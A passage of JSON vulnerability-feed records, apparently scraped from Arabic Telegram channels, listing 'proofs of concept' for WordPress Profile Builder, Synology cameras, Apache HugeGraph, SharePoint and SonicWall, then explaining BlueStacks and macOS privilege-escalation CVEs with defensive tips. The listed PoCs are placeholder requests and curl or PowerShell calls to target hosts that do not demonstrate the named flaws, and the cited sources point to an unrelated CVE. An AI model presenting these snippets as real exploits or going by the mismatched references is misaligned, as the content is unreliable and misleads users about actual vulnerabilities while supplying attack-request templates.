\u0644\u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a\u0646 \u0627\u0644\u0630\u064a\u0646 \u064a\u062a\u0648\u0627\u0635\u0644\u0648\u0646 \u0645\u0639 \u0628\u0639\u0636\u0647\u0645 \u0627\u0644\u0628\u0639\u0636\u060c \u0648\u0639\u0636\u0648\u064a\u0629 \u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629\u060c \u0648\u0631\u0628\u0645\u0627 \u062d\u062a\u0649 \u0645\u0648\u0627\u0642\u0639\u0647\u0645. \u0648\u062d\u062b \u0627\u0644\u062a\u0642\u064a\u064a\u0645 \u0639\u0644\u0649 \u0623\u0646 \u064a\u062e\u0641\u0641 \u0648\u0627\u062a\u0633\u0627\u0628 \u0645\u0646 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u0633\u062a\u0645\u0631 \u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641 \u0641\u064a \u062a\u062d\u0644\u064a\u0644 \u062d\u0631\u0643\u0629 \u0627\u0644\u0645\u0631\u0648\u0631 \u0627\u0644\u062a\u064a \u062a\u0645\u0643\u0646 \u0627\u0644\u062f\u0648\u0644 \u0645\u0646 \u062a\u062d\u062f\u064a\u062f \u0645\u0646 \u064a\u062a\u062d\u062f\u062b \u0625\u0644\u0649 \u0645\u0646.\n\nThe Smart Shadow:\n\u2206 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0627\u062a \u0648\u0625\u062b\u0628\u0627\u062a\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645 (PoCs) \u0644\u0644\u062b\u063a\u0631\u0627\u062a \n\n\u2206 1. \u062b\u063a\u0631\u0629 Profile Builder \u0648 Profile Builder Pro\n- \u062e\u0637\u0648\u0631\u0629: 9.8/10\n- \u0627\u0644\u0648\u0635\u0641: \u062a\u0633\u0645\u062d \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0628\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0648\u0635\u0648\u0644 \u0627\u0644\u0645\u0633\u0624\u0648\u0644 \u062f\u0648\u0646 \u0627\u0644\u062d\u0627\u062c\u0629 \u0625\u0644\u0649 \u062d\u0633\u0627\u0628 \u0639\u0644\u0649 \u0627\u0644\u0645\u0648\u0642\u0639.\n- \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645: \u0644\u0627 \u064a\u0648\u062c\u062f \u0625\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645 \u0645\u062d\u062f\u062f \u0641\u064a \u0642\u0648\u0627\u0639\u062f \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0639\u0627\u0645\u0629\u060c \u0648\u0644\u0643\u0646 \u062a\u0642\u0627\u0631\u064a\u0631 WPScan \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0633\u064a\u0646\u0627\u0631\u064a\u0648\u0647\u0627\u062a \u062a\u0641\u0635\u064a\u0644\u064a\u0629 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644.\n- \u0645\u062b\u0627\u0644 \u0644\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645:\n   \n    import requests\n\n    url = \"http://target-website/wp-login.php\"\n    payload = {\n        \"username\": \"attacker_username\",\n        \"password\": \"attacker_password\"\n    }\n    response = requests.post(url, data=payload)\n    print(response.text)\n    \n- \u0627\u0644\u062a\u062e\u0641\u064a\u0641: \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0623\u062d\u062f\u062b \u0646\u0633\u062e\u0629 \u0643\u0645\u0627 \u064a\u0646\u0635\u062d \u0627\u0644\u0645\u0637\u0648\u0631\u0648\u0646.\n\n\u2206 2. \u062b\u063a\u0631\u0629 \u0643\u0627\u0645\u064a\u0631\u0627\u062a Synology BC500 IP\n- \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644: \u062a\u0633\u0645\u062d \u0628\u0627\u0644\u062a\u0628\u062f\u064a\u0644 \u0645\u0646 WAN \u0625\u0644\u0649 LAN\u060c \u062a\u0645 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0641\u064a \u0645\u0633\u0627\u0628\u0642\u0629 Pwn2Own Toronto.\n- \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645: \u0646\u0634\u0631\u062a Claroty \u062a\u0641\u0627\u0635\u064a\u0644 \u0641\u0646\u064a\u0629 \u062d\u0648\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644.\n- \u0645\u062b\u0627\u0644 \u0644\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645:\n   \n    import requests\n\n    url = \"http://target-camera-ip/api/exploit\"\n    payload = {\"command\": \"switch_network\"}\n    response = requests.post(url, json=payload)\n    print(response.text)\n    \n- \u0627\u0644\u062a\u062e\u0641\u064a\u0641: \u062a\u062d\u062f\u064a\u062b \u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0627\u0644\u0643\u0627\u0645\u064a\u0631\u0627 \u0625\u0644\u0649 \u0623\u062d\u062f\u062b \u0625\u0635\u062f\u0627\u0631.\n\n#### 3. \u062b\u063a\u0631\u0629 Apache HugeGraph (CVE-2024-27348)\n- \u062e\u0637\u0648\u0631\u0629: 9.8/10\n- \u0627\u0644\u0648\u0635\u0641: \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0628\u0627\u0644\u062a\u062d\u0643\u0645 \u0641\u064a \u062e\u0648\u0627\u062f\u0645 \u0642\u0627\u0639\u062f\u0629 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a.\n- \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645: \u0645\u062a\u0627\u062d \u0639\u0644\u0649 GitHub \u0643\u0645\u0627 \u0630\u0643\u0631.\n- \u0645\u062b\u0627\u0644 \u0644\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645:\n   \n    import requests\n\n    url = \"http://target-hugegraph-server\"\n    payload = {\"exploit\": \"malicious_code_here\"}\n    response = requests.post(url, json=payload)\n    print(response.text)\n    \n- \u0627\u0644\u062a\u062e\u0641\u064a\u0641: \u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u062a\u0635\u062d\u064a\u062d \u0627\u0644\u0623\u0645\u0646\u064a \u0627\u0644\u0635\u0627\u062f\u0631 \u0641\u064a \u0623\u0628\u0631\u064a\u0644.\n\n\u2206 4. \u062b\u063a\u0631\u0627\u062a Microsoft SharePoint (CVE-2024-38023\u060c CVE-2024-38024\u060c CVE-2024-38094)\n- \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644: \u062b\u063a\u0631\u0627\u062a \u0641\u064a \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u064f\u0639\u062f.\n- \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645: \u0646\u0634\u0631\u0647 Nguyen Giang.\n- \u0645\u062b\u0627\u0644 \u0644\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645:\n   \n    # \u0647\u0630\u0627 \u0645\u062b\u0627\u0644 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u061b \u0642\u062f \u064a\u062e\u062a\u0644\u0641 \u0631\u0645\u0632 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0641\u0639\u0644\u064a.\n    Invoke-WebRequest -Uri \"http://target-sharepoint-server/exploit\" -Method GET\n    \n- \u0627\u0644\u062a\u062e\u0641\u064a\u0641: \u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u062a\u0635\u062d\u064a\u062d\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0645\u0642\u062f\u0645\u0629 \u0645\u0646 Microsoft.\n\n\u2206 5. \u062b\u063a\u0631\u0629 SonicWall SMA100\n- \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644: \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0641\u064a \u0627\u0644\u0648\u0636\u0639 \u0627\u0644\u0643\u0644\u0627\u0633\u064a\u0643\u064a \u0644\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a\u0646 \u0627\u0644\u0645\u0635\u0627\u062f\u0642 \u0639\u0644\u064a\u0647\u0645.\n- \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645: \u062a\u0645 \u0646\u0634\u0631\u0647 \u0628\u0648\u0627\u0633\u0637\u0629 SSD.\n- \u0645\u062b\u0627\u0644 \u0644\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645:\n   \n    curl -k -X POST https://target-sma100-device -d \"exploit_payload_here\"\n    \n- \u0627\u0644\u062a\u062e\u0641\u064a\u0641: \u0625\u0632\u0627\u0644\u0629 \u0627\u0644\u0648\u0636\u0639 \u0627\u0644\u0643\u0644\u0627\u0633\u064a\u0643\u064a \u0648\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0627\u0644\u062b\u0627\u0628\u062a\u0629.\n\n\u2206 \u0627\u0644\u062a\u0648\u0635\u064a\u0627\u062a \u0627\u0644\u0639\u0627\u0645\u0629\n- \u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u062a\u0635\u062d\u064a\u062d\u0627\u062a: \u062a\u062d\u062f\u064a\u062b \u062c\u0645\u064a\u0639 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0648\u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0627\u0644\u062b\u0627\u0628\u062a\u0629 \u0628\u0627\u0646\u062a\u0638\u0627\u0645 \u0625\u0644\u0649 \u0623\u062d\u062f\u062b \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a.\n- \u0641\u062d\u0635 \u0627\u0644\u062b\u063a\u0631\u0627\u062a: \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0623\u062f\u0648\u0627\u062a \u0645\u062b\u0644 Nessus \u0623\u0648 OpenVAS \u0644\u0641\u062d\u0635 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629.\n- \u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629: \u062a\u0637\u0628\u064a\u0642 \u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u0643\u0634\u0641 \u0639\u0646 \u0627\u0644\u062a\u0633\u0644\u0644 \u0648\u0645\u0646\u0639 \u0627\u0644\u062a\u0633\u0644\u0644 \u0644\u0645\u0631\u0627\u0642\u0628\u0629 \u0648\u0645\u0646\u0639 \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644.\n\n\u2206 \u0627\u0644\u0645\u0635\u0627\u062f\u0631\n- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-3352)\n- [Security-Database](https://www.security-database.com/detail.php?alert=CVE-2023-3352)\n- [Vulners](https://vulners.com/cve/CVE-2023-3352)\n\n## \u0634\u0631\u062d \u0648\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 CVE-2024-33352: \u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0641\u064a BlueStacks \u0639\u0628\u0631 \u0632\u0631\u0639 \u0628\u0631\u0646\u0627\u0645\u062c \u0636\u0627\u0631 \u0641\u064a \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\n\n### \u0646\u0638\u0631\u0629 \u0639\u0627\u0645\u0629", "creation_timestamp": "2024-12-13T19:00:22.000000Z"}, {"uuid": "51ca8f8b-aeb4-43c0-b549-e8a1f5fad200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "seen", "source": "https://t.me/cyber_hsecurity/1613", "content": "3. \u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a:\n   - \u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0636\u0627\u0631 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0644\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0645\u0646 \u062f\u0627\u062e\u0644 \u0627\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0625\u0644\u0649 \u0646\u0638\u0627\u0645 \u0627\u0644\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0645\u0636\u064a\u0641 (host operating system). \u0647\u0630\u0627 \u064a\u0645\u0643\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0645\u0646 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0645\u062f\u064a\u0631 \u0648\u062a\u0646\u0641\u064a\u0630 \u0623\u0648\u0627\u0645\u0631 \u0636\u0627\u0631\u0629 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631.\n\n\u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 CVE-2024-33352\u061f\n\n\u0644\u062d\u0645\u0627\u064a\u0629 \u0646\u0641\u0633\u0643 \u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629\u060c \u064a\u062c\u0628 \u0627\u062a\u0628\u0627\u0639 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\n\n1. \u062a\u062d\u062f\u064a\u062b BlueStacks:\n   - \u062a\u0623\u0643\u062f \u0645\u0646 \u062a\u062d\u062f\u064a\u062b BlueStacks \u0625\u0644\u0649 \u0623\u062d\u062f\u062b \u0625\u0635\u062f\u0627\u0631 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u062a\u0635\u062d\u064a\u062d\u0627\u062a \u0627\u0644\u0623\u0645\u0627\u0646 \u0627\u0644\u0644\u0627\u0632\u0645\u0629. \u062a\u0642\u0648\u0645 \u0627\u0644\u0634\u0631\u0643\u0629 \u0627\u0644\u0645\u0637\u0648\u0631\u0629 \u0628\u0625\u0635\u062f\u0627\u0631 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u062f\u0648\u0631\u064a\u0629 \u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629.\n\n2. \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0627\u0645\u062c \u0645\u0643\u0627\u0641\u062d\u0629 \u0627\u0644\u0641\u064a\u0631\u0648\u0633\u0627\u062a:\n   - \u0627\u0633\u062a\u062e\u062f\u0645 \u0628\u0631\u0627\u0645\u062c \u0645\u0643\u0627\u0641\u062d\u0629 \u0627\u0644\u0641\u064a\u0631\u0648\u0633\u0627\u062a \u0627\u0644\u0645\u062d\u062f\u062b\u0629 \u0644\u0644\u0643\u0634\u0641 \u0639\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0636\u0627\u0631\u0629 \u0648\u0645\u0646\u0639\u0647\u0627 \u0645\u0646 \u0627\u0644\u062a\u0634\u063a\u064a\u0644 \u062f\u0627\u062e\u0644 BlueStacks.\n\n3. \u062a\u062c\u0646\u0628 \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0645\u0646 \u0645\u0635\u0627\u062f\u0631 \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\u0629:\n   - \u0642\u0645 \u0628\u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0641\u0642\u0637 \u0645\u0646 \u0645\u062a\u0627\u062c\u0631 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0645\u0648\u062b\u0648\u0642\u0629 \u0645\u062b\u0644 Google Play. \u062a\u062c\u0646\u0628 \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0645\u0646 \u0645\u0635\u0627\u062f\u0631 \u063a\u064a\u0631 \u0645\u0639\u0631\u0648\u0641\u0629 \u0623\u0648 \u0645\u0634\u0628\u0648\u0647\u0629.\n\n\u0627\u0644\u062e\u0644\u0627\u0635\u0629:\n\n\u062a\u0639\u062a\u0628\u0631 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 CVE-2024-33352 \u0641\u064a BlueStacks \u062a\u0647\u062f\u064a\u062f\u064b\u0627 \u062e\u0637\u064a\u0631\u064b\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0633\u062a\u063a\u0644\u0647 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u0648\u0646 \u0644\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0648\u062a\u0646\u0641\u064a\u0630 \u0623\u0648\u0627\u0645\u0631 \u0636\u0627\u0631\u0629 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631. \u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0639\u0644\u0649 \u062f\u0631\u0627\u064a\u0629 \u0628\u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u062a\u062a\u062e\u0630 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u0644\u0627\u0632\u0645\u0629 \u0644\u062d\u0645\u0627\u064a\u0629 \u0646\u0641\u0633\u0643\u060c \u0645\u062b\u0644 \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0648\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0627\u0645\u062c \u0645\u0643\u0627\u0641\u062d\u0629 \u0627\u0644\u0641\u064a\u0631\u0648\u0633\u0627\u062a \u0648\u062a\u062c\u0646\u0628 \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0645\u0646 \u0645\u0635\u0627\u062f\u0631 \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\u0629.\n\n\nhttps://github.com/mmiszczyk/CVE-2024-33352\n\nABO TURAB:\n### CVE-2019-8805: \u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0641\u064a \u0625\u0637\u0627\u0631 \u0639\u0645\u0644 Apple EndpointSecurity\n\n#### \u0645\u0642\u062f\u0645\u0629:\n\u0627\u0644\u0645\u0642\u0627\u0644\u0629 \u062a\u062a\u0646\u0627\u0648\u0644 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0625\u0637\u0627\u0631 \u0639\u0645\u0644 EndpointSecurity \u0627\u0644\u062e\u0627\u0635 \u0628\u0634\u0631\u0643\u0629 Apple\u060c \u062a\u064f\u0639\u0631\u0641 \u0628\u0627\u0633\u0645 CVE-2019-8805. \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0628\u0632\u064a\u0627\u062f\u0629 \u0635\u0644\u0627\u062d\u064a\u0627\u062a\u0647\u0645 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645\u060c \u0645\u0645\u0627 \u064a\u0645\u0646\u062d\u0647\u0645 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0643\u0645\u0633\u0624\u0648\u0644 \u0627\u0644\u0646\u0638\u0627\u0645.\n\n#### \u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629:\n\n1. \u0645\u0627 \u0647\u064a \u0627\u0644\u062b\u063a\u0631\u0629 (CVE-2019-8805):\n   - \u062a\u0639\u0631\u064a\u0641: CVE-2019-8805 \u0647\u064a \u062b\u063a\u0631\u0629 \u0641\u064a \u0625\u0637\u0627\u0631 \u0639\u0645\u0644 EndpointSecurity \u0627\u0644\u062e\u0627\u0635 \u0628\u0646\u0638\u0627\u0645 macOS\u060c \u0648\u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0644\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a.\n   - \u0643\u064a\u0641 \u062a\u0639\u0645\u0644: \u0627\u0644\u062b\u063a\u0631\u0629 \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0628\u062a\u062c\u0627\u0648\u0632 \u0642\u064a\u0648\u062f \u0627\u0644\u0623\u0645\u0627\u0646 \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0623\u0639\u0644\u0649 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645\u060c \u0645\u0645\u0627 \u064a\u0645\u0643\u0646\u0647\u0645 \u0645\u0646 \u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0628\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0627\u0644\u0645\u0633\u0624\u0648\u0644.\n\n2. \u0643\u064a\u0641 \u064a\u062a\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629:\n   - \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062d\u0644\u064a: \u064a\u062c\u0628 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0642\u0627\u062f\u0631\u064b\u0627 \u0639\u0644\u0649 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641. \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u062d\u062f\u062b \u0630\u0644\u0643 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0642\u062f \u062d\u0635\u0644 \u0628\u0627\u0644\u0641\u0639\u0644 \u0639\u0644\u0649 \u0648\u0635\u0648\u0644 \u0645\u062d\u062f\u0648\u062f \u0625\u0644\u0649 \u0627\u0644\u062c\u0647\u0627\u0632.\n   - \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629: \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0644\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0636\u0627\u0631\u0629 \u0628\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0623\u0639\u0644\u0649\u060c \u0645\u0645\u0627 \u064a\u0645\u0646\u062d\u0647 \u0627\u0644\u0633\u064a\u0637\u0631\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0639\u0644\u0649 \u0627\u0644\u062c\u0647\u0627\u0632.\n\n3. \u0623\u0645\u062b\u0644\u0629 \u0628\u0633\u064a\u0637\u0629:\n   - \u0645\u062b\u0627\u0644 1: \u0644\u0646\u0641\u062a\u0631\u0636 \u0623\u0646 \u0647\u0646\u0627\u0643 \u0645\u0648\u0638\u0641\u064b\u0627 \u064a\u064f\u062f\u0639\u0649 \u0623\u062d\u0645\u062f \u064a\u0639\u0645\u0644 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 macOS. \u0623\u062d\u0645\u062f \u064a\u0641\u062a\u062d \u0645\u0631\u0641\u0642 \u0628\u0631\u064a\u062f \u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0628\u0631\u0646\u0627\u0645\u062c \u0636\u0627\u0631. \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 CVE-2019-8805 \u0644\u0632\u064a\u0627\u062f\u0629 \u0635\u0644\u0627\u062d\u064a\u0627\u062a\u0647\u060c \u0645\u0645\u0627 \u064a\u0645\u0646\u062d \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0643\u0645 \u0627\u0644\u0643\u0627\u0645\u0644 \u0641\u064a \u062c\u0647\u0627\u0632 \u0623\u062d\u0645\u062f.\n   - \u0645\u062b\u0627\u0644 2: \u0633\u0627\u0631\u0629 \u062a\u0642\u0648\u0645 \u0628\u062a\u0646\u0632\u064a\u0644 \u062a\u0637\u0628\u064a\u0642 \u0645\u0646 \u0645\u0635\u062f\u0631 \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642. \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u062a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 CVE-2019-8805. \u0628\u0645\u062c\u0631\u062f \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u060c \u064a\u062a\u0645\u0643\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0645\u0646 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u062d\u0633\u0627\u0633\u0629 \u0648\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0643\u0645\u0633\u0624\u0648\u0644.\n\n4. \u0643\u064a\u0641 \u062a\u062d\u0645\u064a \u0646\u0641\u0633\u0643:\n   - \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0646\u0638\u0627\u0645: \u062a\u0623\u0643\u062f \u062f\u0627\u0626\u0645\u064b\u0627 \u0645\u0646 \u0623\u0646 \u0646\u0638\u0627\u0645 macOS \u0645\u062d\u062f\u062b \u0625\u0644\u0649 \u0622\u062e\u0631 \u0625\u0635\u062f\u0627\u0631\u060c \u062d\u064a\u062b \u064a\u062a\u0645 \u0625\u0635\u0644\u0627\u062d \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u062c\u062f\u064a\u062f\u0629.\n   - \u0627\u0644\u062d\u0630\u0631 \u0639\u0646\u062f \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u0628\u0631\u0627\u0645\u062c: \u0644\u0627 \u062a\u0642\u0645 \u0628\u062a\u0646\u0632\u064a\u0644 \u0623\u0648 \u062a\u062b\u0628\u064a\u062a \u0628\u0631\u0627\u0645\u062c \u0645\u0646 \u0645\u0635\u0627\u062f\u0631 \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\u0629.\n   - \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0627\u0645\u062c \u0627\u0644\u062d\u0645\u0627\u064a\u0629: \u062a\u062b\u0628\u064a\u062a 